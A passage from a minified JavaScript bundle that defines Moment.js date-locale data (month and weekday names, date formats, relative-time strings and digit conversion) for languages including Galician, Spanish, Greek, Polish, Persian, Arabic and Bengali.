HH:mm"},calendar:{sameDay:"[\u101a\u1014\u1031.] LT [\u1019\u103e\u102c]",nextDay:"[\u1019\u1014\u1000\u103a\u1016\u103c\u1014\u103a] LT [\u1019\u103e\u102c]",nextWeek:"dddd LT [\u1019\u103e\u102c]",lastDay:"[\u1019\u1014\u1031.\u1000] LT [\u1019\u103e\u102c]",lastWeek:"[\u1015\u103c\u102e\u1038\u1001\u1032\u1037\u101e\u1031\u102c] dddd LT [\u1019\u103e\u102c]",sameElse:"L"},relativeTime:{future:"\u101c\u102c\u1019\u100a\u103a\u1037 %s \u1019\u103e\u102c",past:"\u101c\u103d\u1014\u103a\u1001\u1032\u1037\u101e\u1031\u102c %s \u1000",s:"\u1005\u1000\u1039\u1000\u1014\u103a.\u1021\u1014\u100a\u103a\u1038\u1004\u101a\u103a",ss:"%d \u1005\u1000\u1039\u1000\u1014\u1037\u103a",m:"\u1010\u1005\u103a\u1019\u102d\u1014\u1005\u103a",mm:"%d \u1019\u102d\u1014\u1005\u103a",h:"\u1010\u1005\u103a\u1014\u102c\u101b\u102e",hh:"%d \u1014\u102c\u101b\u102e",d:"\u1010\u1005\u103a\u101b\u1000\u103a",dd:"%d \u101b\u1000\u103a",M:"\u1010\u1005\u103a\u101c",MM:"%d \u101c",y:"\u1010\u1005\u103a\u1014\u103e\u1005\u103a",yy:"%d \u1014\u103e\u1005\u103a"},preparse:function(e){return e.replace(/[\u1041\u1042\u1043\u1044\u1045\u1046\u1047\u1048\u1049\u1040]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(n("wd/R"))},iEDd:function(e,t,n){!function(e){"use strict";e.defineLocale("gl",{months:"xaneiro_febreiro_marzo_abril_maio_xu\xf1o_xullo_agosto_setembro_outubro_novembro_decembro".split("_"),monthsShort:"xan._feb._mar._abr._mai._xu\xf1._xul._ago._set._out._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"domingo_luns_martes_m\xe9rcores_xoves_venres_s\xe1bado".split("_"),weekdaysShort:"dom._lun._mar._m\xe9r._xov._ven._s\xe1b.".split("_"),weekdaysMin:"do_lu_ma_m\xe9_xo_ve_s\xe1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoxe "+(1!==this.hours()?"\xe1s":"\xe1")+"] LT"},nextDay:function(){return"[ma\xf1\xe1 "+(1!==this.hours()?"\xe1s":"\xe1")+"] LT"},nextWeek:function(){return"dddd ["+(1!==this.hours()?"\xe1s":"a")+"] LT"},lastDay:function(){return"[onte "+(1!==this.hours()?"\xe1":"a")+"] LT"},lastWeek:function(){return"[o] dddd [pasado "+(1!==this.hours()?"\xe1s":"a")+"] LT"},sameElse:"L"},relativeTime:{future:function(e){return 0===e.indexOf("un")?"n"+e:"en "+e},past:"hai %s",s:"uns segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"unha hora",hh:"%d horas",d:"un d\xeda",dd:"%d d\xedas",M:"un mes",MM:"%d meses",y:"un ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",week:{dow:1,doy:4}})}(n("wd/R"))},iYuL:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),a=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],r=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"domingo_lunes_martes_mi\xe9rcoles_jueves_viernes_s\xe1bado".split("_"),weekdaysShort:"dom._lun._mar._mi\xe9._jue._vie._s\xe1b.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_s\xe1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[ma\xf1ana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un d\xeda",dd:"%d d\xedas",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un a\xf1o",yy:"%d a\xf1os"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",week:{dow:1,doy:4},invalidDate:"Fecha inv\xe1lida"})}(n("wd/R"))},jUeY:function(e,t,n){!function(e){"use strict";e.defineLocale("el",{monthsNominativeEl:"\u0399\u03b1\u03bd\u03bf\u03c5\u03ac\u03c1\u03b9\u03bf\u03c2_\u03a6\u03b5\u03b2\u03c1\u03bf\u03c5\u03ac\u03c1\u03b9\u03bf\u03c2_\u039c\u03ac\u03c1\u03c4\u03b9\u03bf\u03c2_\u0391\u03c0\u03c1\u03af\u03bb\u03b9\u03bf\u03c2_\u039c\u03ac\u03b9\u03bf\u03c2_\u0399\u03bf\u03cd\u03bd\u03b9\u03bf\u03c2_\u0399\u03bf\u03cd\u03bb\u03b9\u03bf\u03c2_\u0391\u03cd\u03b3\u03bf\u03c5\u03c3\u03c4\u03bf\u03c2_\u03a3\u03b5\u03c0\u03c4\u03ad\u03bc\u03b2\u03c1\u03b9\u03bf\u03c2_\u039f\u03ba\u03c4\u03ce\u03b2\u03c1\u03b9\u03bf\u03c2_\u039d\u03bf\u03ad\u03bc\u03b2\u03c1\u03b9\u03bf\u03c2_\u0394\u03b5\u03ba\u03ad\u03bc\u03b2\u03c1\u03b9\u03bf\u03c2".split("_"),monthsGenitiveEl:"\u0399\u03b1\u03bd\u03bf\u03c5\u03b1\u03c1\u03af\u03bf\u03c5_\u03a6\u03b5\u03b2\u03c1\u03bf\u03c5\u03b1\u03c1\u03af\u03bf\u03c5_\u039c\u03b1\u03c1\u03c4\u03af\u03bf\u03c5_\u0391\u03c0\u03c1\u03b9\u03bb\u03af\u03bf\u03c5_\u039c\u03b1\u0390\u03bf\u03c5_\u0399\u03bf\u03c5\u03bd\u03af\u03bf\u03c5_\u0399\u03bf\u03c5\u03bb\u03af\u03bf\u03c5_\u0391\u03c5\u03b3\u03bf\u03cd\u03c3\u03c4\u03bf\u03c5_\u03a3\u03b5\u03c0\u03c4\u03b5\u03bc\u03b2\u03c1\u03af\u03bf\u03c5_\u039f\u03ba\u03c4\u03c9\u03b2\u03c1\u03af\u03bf\u03c5_\u039d\u03bf\u03b5\u03bc\u03b2\u03c1\u03af\u03bf\u03c5_\u0394\u03b5\u03ba\u03b5\u03bc\u03b2\u03c1\u03af\u03bf\u03c5".split("_"),months:function(e,t){return e?"string"==typeof t&&/D/.test(t.substring(0,t.indexOf("MMMM")))?this._monthsGenitiveEl[e.month()]:this._monthsNominativeEl[e.month()]:this._monthsNominativeEl},monthsShort:"\u0399\u03b1\u03bd_\u03a6\u03b5\u03b2_\u039c\u03b1\u03c1_\u0391\u03c0\u03c1_\u039c\u03b1\u03ca_\u0399\u03bf\u03c5\u03bd_\u0399\u03bf\u03c5\u03bb_\u0391\u03c5\u03b3_\u03a3\u03b5\u03c0_\u039f\u03ba\u03c4_\u039d\u03bf\u03b5_\u0394\u03b5\u03ba".split("_"),weekdays:"\u039a\u03c5\u03c1\u03b9\u03b1\u03ba\u03ae_\u0394\u03b5\u03c5\u03c4\u03ad\u03c1\u03b1_\u03a4\u03c1\u03af\u03c4\u03b7_\u03a4\u03b5\u03c4\u03ac\u03c1\u03c4\u03b7_\u03a0\u03ad\u03bc\u03c0\u03c4\u03b7_\u03a0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae_\u03a3\u03ac\u03b2\u03b2\u03b1\u03c4\u03bf".split("_"),weekdaysShort:"\u039a\u03c5\u03c1_\u0394\u03b5\u03c5_\u03a4\u03c1\u03b9_\u03a4\u03b5\u03c4_\u03a0\u03b5\u03bc_\u03a0\u03b1\u03c1_\u03a3\u03b1\u03b2".split("_"),weekdaysMin:"\u039a\u03c5_\u0394\u03b5_\u03a4\u03c1_\u03a4\u03b5_\u03a0\u03b5_\u03a0\u03b1_\u03a3\u03b1".split("_"),meridiem:function(e,t,n){return e>11?n?"\u03bc\u03bc":"\u039c\u039c":n?"\u03c0\u03bc":"\u03a0\u039c"},isPM:function(e){return"\u03bc"===(e+"").toLowerCase()[0]},meridiemParse:/[\u03a0\u039c]\.?\u039c?\.?/i,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendarEl:{sameDay:"[\u03a3\u03ae\u03bc\u03b5\u03c1\u03b1 {}] LT",nextDay:"[\u0391\u03cd\u03c1\u03b9\u03bf {}] LT",nextWeek:"dddd [{}] LT",lastDay:"[\u03a7\u03b8\u03b5\u03c2 {}] LT",lastWeek:function(){switch(this.day()){case 6:return"[\u03c4\u03bf \u03c0\u03c1\u03bf\u03b7\u03b3\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf] dddd [{}] LT";default:return"[\u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03b7\u03b3\u03bf\u03cd\u03bc\u03b5\u03bd\u03b7] dddd [{}] LT"}},sameElse:"L"},calendar:function(e,t){var n,a=this._calendarEl[e],r=t&&t.hours();return n=a,("undefined"!=typeof Function&&n instanceof Function||"[object Function]"===Object.prototype.toString.call(n))&&(a=a.apply(t)),a.replace("{}",r%12==1?"\u03c3\u03c4\u03b7":"\u03c3\u03c4\u03b9\u03c2")},relativeTime:{future:"\u03c3\u03b5 %s",past:"%s \u03c0\u03c1\u03b9\u03bd",s:"\u03bb\u03af\u03b3\u03b1 \u03b4\u03b5\u03c5\u03c4\u03b5\u03c1\u03cc\u03bb\u03b5\u03c0\u03c4\u03b1",ss:"%d \u03b4\u03b5\u03c5\u03c4\u03b5\u03c1\u03cc\u03bb\u03b5\u03c0\u03c4\u03b1",m:"\u03ad\u03bd\u03b1 \u03bb\u03b5\u03c0\u03c4\u03cc",mm:"%d \u03bb\u03b5\u03c0\u03c4\u03ac",h:"\u03bc\u03af\u03b1 \u03ce\u03c1\u03b1",hh:"%d \u03ce\u03c1\u03b5\u03c2",d:"\u03bc\u03af\u03b1 \u03bc\u03ad\u03c1\u03b1",dd:"%d \u03bc\u03ad\u03c1\u03b5\u03c2",M:"\u03ad\u03bd\u03b1\u03c2 \u03bc\u03ae\u03bd\u03b1\u03c2",MM:"%d \u03bc\u03ae\u03bd\u03b5\u03c2",y:"\u03ad\u03bd\u03b1\u03c2 \u03c7\u03c1\u03cc\u03bd\u03bf\u03c2",yy:"%d \u03c7\u03c1\u03cc\u03bd\u03b9\u03b1"},dayOfMonthOrdinalParse:/\d{1,2}\u03b7/,ordinal:"%d\u03b7",week:{dow:1,doy:4}})}(n("wd/R"))},jVdC:function(e,t,n){!function(e){"use strict";var t="stycze\u0144_luty_marzec_kwiecie\u0144_maj_czerwiec_lipiec_sierpie\u0144_wrzesie\u0144_pa\u017adziernik_listopad_grudzie\u0144".split("_"),n="stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_wrze\u015bnia_pa\u017adziernika_listopada_grudnia".split("_"),a=[/^sty/i,/^lut/i,/^mar/i,/^kwi/i,/^maj/i,/^cze/i,/^lip/i,/^sie/i,/^wrz/i,/^pa\u017a/i,/^lis/i,/^gru/i];function r(e){return e%10<5&&e%10>1&&~~(e/10)%10!=1}function i(e,t,n){var a=e+" ";switch(n){case"ss":return a+(r(e)?"sekundy":"sekund");case"m":return t?"minuta":"minut\u0119";case"mm":return a+(r(e)?"minuty":"minut");case"h":return t?"godzina":"godzin\u0119";case"hh":return a+(r(e)?"godziny":"godzin");case"ww":return a+(r(e)?"tygodnie":"tygodni");case"MM":return a+(r(e)?"miesi\u0105ce":"miesi\u0119cy");case"yy":return a+(r(e)?"lata":"lat")}}e.defineLocale("pl",{months:function(e,a){return e?/D MMMM/.test(a)?n[e.month()]:t[e.month()]:t},monthsShort:"sty_lut_mar_kwi_maj_cze_lip_sie_wrz_pa\u017a_lis_gru".split("_"),monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"niedziela_poniedzia\u0142ek_wtorek_\u015broda_czwartek_pi\u0105tek_sobota".split("_"),weekdaysShort:"ndz_pon_wt_\u015br_czw_pt_sob".split("_"),weekdaysMin:"Nd_Pn_Wt_\u015ar_Cz_Pt_So".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Dzi\u015b o] LT",nextDay:"[Jutro o] LT",nextWeek:function(){switch(this.day()){case 0:return"[W niedziel\u0119 o] LT";case 2:return"[We wtorek o] LT";case 3:return"[W \u015brod\u0119 o] LT";case 6:return"[W sobot\u0119 o] LT";default:return"[W] dddd [o] LT"}},lastDay:"[Wczoraj o] LT",lastWeek:function(){switch(this.day()){case 0:return"[W zesz\u0142\u0105 niedziel\u0119 o] LT";case 3:return"[W zesz\u0142\u0105 \u015brod\u0119 o] LT";case 6:return"[W zesz\u0142\u0105 sobot\u0119 o] LT";default:return"[W zesz\u0142y] dddd [o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"%s temu",s:"kilka sekund",ss:i,m:i,mm:i,h:i,hh:i,d:"1 dzie\u0144",dd:"%d dni",w:"tydzie\u0144",ww:i,M:"miesi\u0105c",MM:i,y:"rok",yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},jfSC:function(e,t,n){!function(e){"use strict";var t={1:"\u06f1",2:"\u06f2",3:"\u06f3",4:"\u06f4",5:"\u06f5",6:"\u06f6",7:"\u06f7",8:"\u06f8",9:"\u06f9",0:"\u06f0"},n={"\u06f1":"1","\u06f2":"2","\u06f3":"3","\u06f4":"4","\u06f5":"5","\u06f6":"6","\u06f7":"7","\u06f8":"8","\u06f9":"9","\u06f0":"0"};e.defineLocale("fa",{months:"\u0698\u0627\u0646\u0648\u06cc\u0647_\u0641\u0648\u0631\u06cc\u0647_\u0645\u0627\u0631\u0633_\u0622\u0648\u0631\u06cc\u0644_\u0645\u0647_\u0698\u0648\u0626\u0646_\u0698\u0648\u0626\u06cc\u0647_\u0627\u0648\u062a_\u0633\u067e\u062a\u0627\u0645\u0628\u0631_\u0627\u06a9\u062a\u0628\u0631_\u0646\u0648\u0627\u0645\u0628\u0631_\u062f\u0633\u0627\u0645\u0628\u0631".split("_"),monthsShort:"\u0698\u0627\u0646\u0648\u06cc\u0647_\u0641\u0648\u0631\u06cc\u0647_\u0645\u0627\u0631\u0633_\u0622\u0648\u0631\u06cc\u0644_\u0645\u0647_\u0698\u0648\u0626\u0646_\u0698\u0648\u0626\u06cc\u0647_\u0627\u0648\u062a_\u0633\u067e\u062a\u0627\u0645\u0628\u0631_\u0627\u06a9\u062a\u0628\u0631_\u0646\u0648\u0627\u0645\u0628\u0631_\u062f\u0633\u0627\u0645\u0628\u0631".split("_"),weekdays:"\u06cc\u06a9\u200c\u0634\u0646\u0628\u0647_\u062f\u0648\u0634\u0646\u0628\u0647_\u0633\u0647\u200c\u0634\u0646\u0628\u0647_\u0686\u0647\u0627\u0631\u0634\u0646\u0628\u0647_\u067e\u0646\u062c\u200c\u0634\u0646\u0628\u0647_\u062c\u0645\u0639\u0647_\u0634\u0646\u0628\u0647".split("_"),weekdaysShort:"\u06cc\u06a9\u200c\u0634\u0646\u0628\u0647_\u062f\u0648\u0634\u0646\u0628\u0647_\u0633\u0647\u200c\u0634\u0646\u0628\u0647_\u0686\u0647\u0627\u0631\u0634\u0646\u0628\u0647_\u067e\u0646\u062c\u200c\u0634\u0646\u0628\u0647_\u062c\u0645\u0639\u0647_\u0634\u0646\u0628\u0647".split("_"),weekdaysMin:"\u06cc_\u062f_\u0633_\u0686_\u067e_\u062c_\u0634".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/\u0642\u0628\u0644 \u0627\u0632 \u0638\u0647\u0631|\u0628\u0639\u062f \u0627\u0632 \u0638\u0647\u0631/,isPM:function(e){return/\u0628\u0639\u062f \u0627\u0632 \u0638\u0647\u0631/.test(e)},meridiem:function(e,t,n){return e<12?"\u0642\u0628\u0644 \u0627\u0632 \u0638\u0647\u0631":"\u0628\u0639\u062f \u0627\u0632 \u0638\u0647\u0631"},calendar:{sameDay:"[\u0627\u0645\u0631\u0648\u0632 \u0633\u0627\u0639\u062a] LT",nextDay:"[\u0641\u0631\u062f\u0627 \u0633\u0627\u0639\u062a] LT",nextWeek:"dddd [\u0633\u0627\u0639\u062a] LT",lastDay:"[\u062f\u06cc\u0631\u0648\u0632 \u0633\u0627\u0639\u062a] LT",lastWeek:"dddd [\u067e\u06cc\u0634] [\u0633\u0627\u0639\u062a] LT",sameElse:"L"},relativeTime:{future:"\u062f\u0631 %s",past:"%s \u067e\u06cc\u0634",s:"\u0686\u0646\u062f \u062b\u0627\u0646\u06cc\u0647",ss:"%d \u062b\u0627\u0646\u06cc\u0647",m:"\u06cc\u06a9 \u062f\u0642\u06cc\u0642\u0647",mm:"%d \u062f\u0642\u06cc\u0642\u0647",h:"\u06cc\u06a9 \u0633\u0627\u0639\u062a",hh:"%d \u0633\u0627\u0639\u062a",d:"\u06cc\u06a9 \u0631\u0648\u0632",dd:"%d \u0631\u0648\u0632",M:"\u06cc\u06a9 \u0645\u0627\u0647",MM:"%d \u0645\u0627\u0647",y:"\u06cc\u06a9 \u0633\u0627\u0644",yy:"%d \u0633\u0627\u0644"},preparse:function(e){return e.replace(/[\u06f0-\u06f9]/g,(function(e){return n[e]})).replace(/\u060c/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"\u060c")},dayOfMonthOrdinalParse:/\d{1,2}\u0645/,ordinal:"%d\u0645",week:{dow:6,doy:12}})}(n("wd/R"))},jnO4:function(e,t,n){!function(e){"use strict";var t={1:"\u0661",2:"\u0662",3:"\u0663",4:"\u0664",5:"\u0665",6:"\u0666",7:"\u0667",8:"\u0668",9:"\u0669",0:"\u0660"},n={"\u0661":"1","\u0662":"2","\u0663":"3","\u0664":"4","\u0665":"5","\u0666":"6","\u0667":"7","\u0668":"8","\u0669":"9","\u0660":"0"},a=function(e){return 0===e?0:1===e?1:2===e?2:e%100>=3&&e%100<=10?3:e%100>=11?4:5},r={s:["\u0623\u0642\u0644 \u0645\u0646 \u062b\u0627\u0646\u064a\u0629","\u062b\u0627\u0646\u064a\u0629 \u0648\u0627\u062d\u062f\u0629",["\u062b\u0627\u0646\u064a\u062a\u0627\u0646","\u062b\u0627\u0646\u064a\u062a\u064a\u0646"],"%d \u062b\u0648\u0627\u0646","%d \u062b\u0627\u0646\u064a\u0629","%d \u062b\u0627\u0646\u064a\u0629"],m:["\u0623\u0642\u0644 \u0645\u0646 \u062f\u0642\u064a\u0642\u0629","\u062f\u0642\u064a\u0642\u0629 \u0648\u0627\u062d\u062f\u0629",["\u062f\u0642\u064a\u0642\u062a\u0627\u0646","\u062f\u0642\u064a\u0642\u062a\u064a\u0646"],"%d \u062f\u0642\u0627\u0626\u0642","%d \u062f\u0642\u064a\u0642\u0629","%d \u062f\u0642\u064a\u0642\u0629"],h:["\u0623\u0642\u0644 \u0645\u0646 \u0633\u0627\u0639\u0629","\u0633\u0627\u0639\u0629 \u0648\u0627\u062d\u062f\u0629",["\u0633\u0627\u0639\u062a\u0627\u0646","\u0633\u0627\u0639\u062a\u064a\u0646"],"%d \u0633\u0627\u0639\u0627\u062a","%d \u0633\u0627\u0639\u0629","%d \u0633\u0627\u0639\u0629"],d:["\u0623\u0642\u0644 \u0645\u0646 \u064a\u0648\u0645","\u064a\u0648\u0645 \u0648\u0627\u062d\u062f",["\u064a\u0648\u0645\u0627\u0646","\u064a\u0648\u0645\u064a\u0646"],"%d \u0623\u064a\u0627\u0645","%d \u064a\u0648\u0645\u064b\u0627","%d \u064a\u0648\u0645"],M:["\u0623\u0642\u0644 \u0645\u0646 \u0634\u0647\u0631","\u0634\u0647\u0631 \u0648\u0627\u062d\u062f",["\u0634\u0647\u0631\u0627\u0646","\u0634\u0647\u0631\u064a\u0646"],"%d \u0623\u0634\u0647\u0631","%d \u0634\u0647\u0631\u0627","%d \u0634\u0647\u0631"],y:["\u0623\u0642\u0644 \u0645\u0646 \u0639\u0627\u0645","\u0639\u0627\u0645 \u0648\u0627\u062d\u062f",["\u0639\u0627\u0645\u0627\u0646","\u0639\u0627\u0645\u064a\u0646"],"%d \u0623\u0639\u0648\u0627\u0645","%d \u0639\u0627\u0645\u064b\u0627","%d \u0639\u0627\u0645"]},i=function(e){return function(t,n,i,s){var o=a(t),l=r[e][a(t)];return 2===o&&(l=l[n?0:1]),l.replace(/%d/i,t)}},s=["\u064a\u0646\u0627\u064a\u0631","\u0641\u0628\u0631\u0627\u064a\u0631","\u0645\u0627\u0631\u0633","\u0623\u0628\u0631\u064a\u0644","\u0645\u0627\u064a\u0648","\u064a\u0648\u0646\u064a\u0648","\u064a\u0648\u0644\u064a\u0648","\u0623\u063a\u0633\u0637\u0633","\u0633\u0628\u062a\u0645\u0628\u0631","\u0623\u0643\u062a\u0648\u0628\u0631","\u0646\u0648\u0641\u0645\u0628\u0631","\u062f\u064a\u0633\u0645\u0628\u0631"];e.defineLocale("ar",{months:s,monthsShort:s,weekdays:"\u0627\u0644\u0623\u062d\u062f_\u0627\u0644\u0625\u062b\u0646\u064a\u0646_\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621_\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621_\u0627\u0644\u062e\u0645\u064a\u0633_\u0627\u0644\u062c\u0645\u0639\u0629_\u0627\u0644\u0633\u0628\u062a".split("_"),weekdaysShort:"\u0623\u062d\u062f_\u0625\u062b\u0646\u064a\u0646_\u062b\u0644\u0627\u062b\u0627\u0621_\u0623\u0631\u0628\u0639\u0627\u0621_\u062e\u0645\u064a\u0633_\u062c\u0645\u0639\u0629_\u0633\u0628\u062a".split("_"),weekdaysMin:"\u062d_\u0646_\u062b_\u0631_\u062e_\u062c_\u0633".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/\u200fM/\u200fYYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/\u0635|\u0645/,isPM:function(e){return"\u0645"===e},meridiem:function(e,t,n){return e<12?"\u0635":"\u0645"},calendar:{sameDay:"[\u0627\u0644\u064a\u0648\u0645 \u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextDay:"[\u063a\u062f\u064b\u0627 \u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextWeek:"dddd [\u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastDay:"[\u0623\u0645\u0633 \u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastWeek:"dddd [\u0639\u0646\u062f \u0627\u0644\u0633\u0627\u0639\u0629] LT",sameElse:"L"},relativeTime:{future:"\u0628\u0639\u062f %s",past:"\u0645\u0646\u0630 %s",s:i("s"),ss:i("s"),m:i("m"),mm:i("m"),h:i("h"),hh:i("h"),d:i("d"),dd:i("d"),M:i("M"),MM:i("M"),y:i("y"),yy:i("y")},preparse:function(e){return e.replace(/[\u0661\u0662\u0663\u0664\u0665\u0666\u0667\u0668\u0669\u0660]/g,(function(e){return n[e]})).replace(/\u060c/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"\u060c")},week:{dow:6,doy:12}})}(n("wd/R"))},kEOa:function(e,t,n){!function(e){"use strict";var t={1:"\u09e7",2:"\u09e8",3:"\u09e9",4:"\u09ea",5:"\u09eb",6:"\u09ec",7:"\u09ed",8:"\u09ee",9:"\u09ef",0:"\u09e6"},n={"\u09e7":"1","\u09e8":"2","\u09e9":"3","\u09ea":"4","\u09eb":"5","\u09ec":"6","\u09ed":"7","\u09ee":"8","\u09ef":"9","\u09e6":"0"};e.defineLocale("bn",{months:"\u099c\u09be\u09a8\u09c1\u09df\u09be\u09b0\u09bf_\u09ab\u09c7\u09ac\u09cd\u09b0\u09c1\u09df\u09be\u09b0\u09bf_\u09ae\u09be\u09b0\u09cd\u099a_\u098f\u09aa\u09cd\u09b0\u09bf\u09b2_\u09ae\u09c7_\u099c\u09c1\u09a8_\u099c\u09c1\u09b2\u09be\u0987_\u0986\u0997\u09b8\u09cd\u099f_\u09b8\u09c7\u09aa\u09cd\u099f\u09c7\u09ae\u09cd\u09ac\u09b0_\u0985\u0995\u09cd\u099f\u09cb\u09ac\u09b0_\u09a8\u09ad\u09c7\u09ae\u09cd\u09ac\u09b0_\u09a1\u09bf\u09b8\u09c7\u09ae\u09cd\u09ac\u09b0".split("_"),monthsShort:"\u099c\u09be\u09a8\u09c1_\u09ab\u09c7\u09ac\u09cd\u09b0\u09c1_\u09ae\u09be\u09b0\u09cd\u099a_\u098f\u09aa\u09cd\u09b0\u09bf\u09b2_\u09ae\u09c7_\u099c\u09c1\u09a8_\u099c\u09c1\u09b2\u09be\u0987_\u0986\u0997\u09b8\u09cd\u099f_\u09b8\u09c7\u09aa\u09cd\u099f_\u0985\u0995\u09cd\u099f\u09cb_\u09a8\u09ad\u09c7_\u09a1\u09bf\u09b8\u09c7".split("_"),weekdays:"\u09b0\u09ac\u09bf\u09ac\u09be\u09b0_\u09b8\u09cb\u09ae\u09ac\u09be\u09b0_\u09ae\u0999\u09cd\u0997\u09b2\u09ac\u09be\u09b0_\u09ac\u09c1\u09a7\u09ac\u09be\u09b0_\u09ac\u09c3\u09b9\u09b8\u09cd\u09aa\u09a4\u09bf\u09ac\u09be\u09b0_\u09b6\u09c1\u0995\u09cd\u09b0\u09ac\u09be\u09b0_\u09b6\u09a8\u09bf\u09ac\u09be\u09b0".split("_"),weekdaysShort:"\u09b0\u09ac\u09bf_\u09b8\u09cb\u09ae_\u09ae\u0999\u09cd\u0997\u09b2_\u09ac\u09c1\u09a7_\u09ac\u09c3\u09b9\u09b8\u09cd\u09aa\u09a4\u09bf_\u09b6\u09c1\u0995\u09cd\u09b0_\u09b6\u09a8\u09bf".split("_"),weekdaysMin:"\u09b0\u09ac\u09bf_\u09b8\u09cb\u09ae_\u09ae\u0999\u09cd\u0997\u09b2_\u09ac\u09c1\u09a7_\u09ac\u09c3\u09b9_\u09b6\u09c1\u0995\u09cd\u09b0_\u09b6\u09a8\u09bf".split("_"),longDateFormat:{LT:"A h:mm \u09b8\u09ae\u09df",LTS:"A h:mm:ss \u09b8\u09ae\u09df",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm \u09b8\u09ae\u09df",LLLL:"dddd, D MMMM YYYY, A h:mm \u09b8\u09ae\u09df"},calendar:{sameDay:"[\u0986\u099c] LT",nextDay:"[\u0986\u0997\u09be\u09ae\u09c0\u0995\u09be\u09b2] LT",nextWeek:"dddd, LT",lastDay:"[\u0997\u09a4\u0995\u09be\u09b2] LT",lastWeek:"[\u0997\u09a4] dddd, LT",sameElse:"L"},relativeTime:{future:"%s \u09aa\u09b0\u09c7",past:"%s \u0986\u0997\u09c7",s:"\u0995\u09df\u09c7\u0995 \u09b8\u09c7\u0995\u09c7\u09a8\u09cd\u09a1",ss:"%d \u09b8\u09c7\u0995\u09c7\u09a8\u09cd\u09a1",m:"\u098f\u0995 \u09ae\u09bf\u09a8\u09bf\u099f",mm:"%d \u09ae\u09bf\u09a8\u09bf\u099f",h:"\u098f\u0995 \u0998\u09a8\u09cd\u099f\u09be",hh:"%d 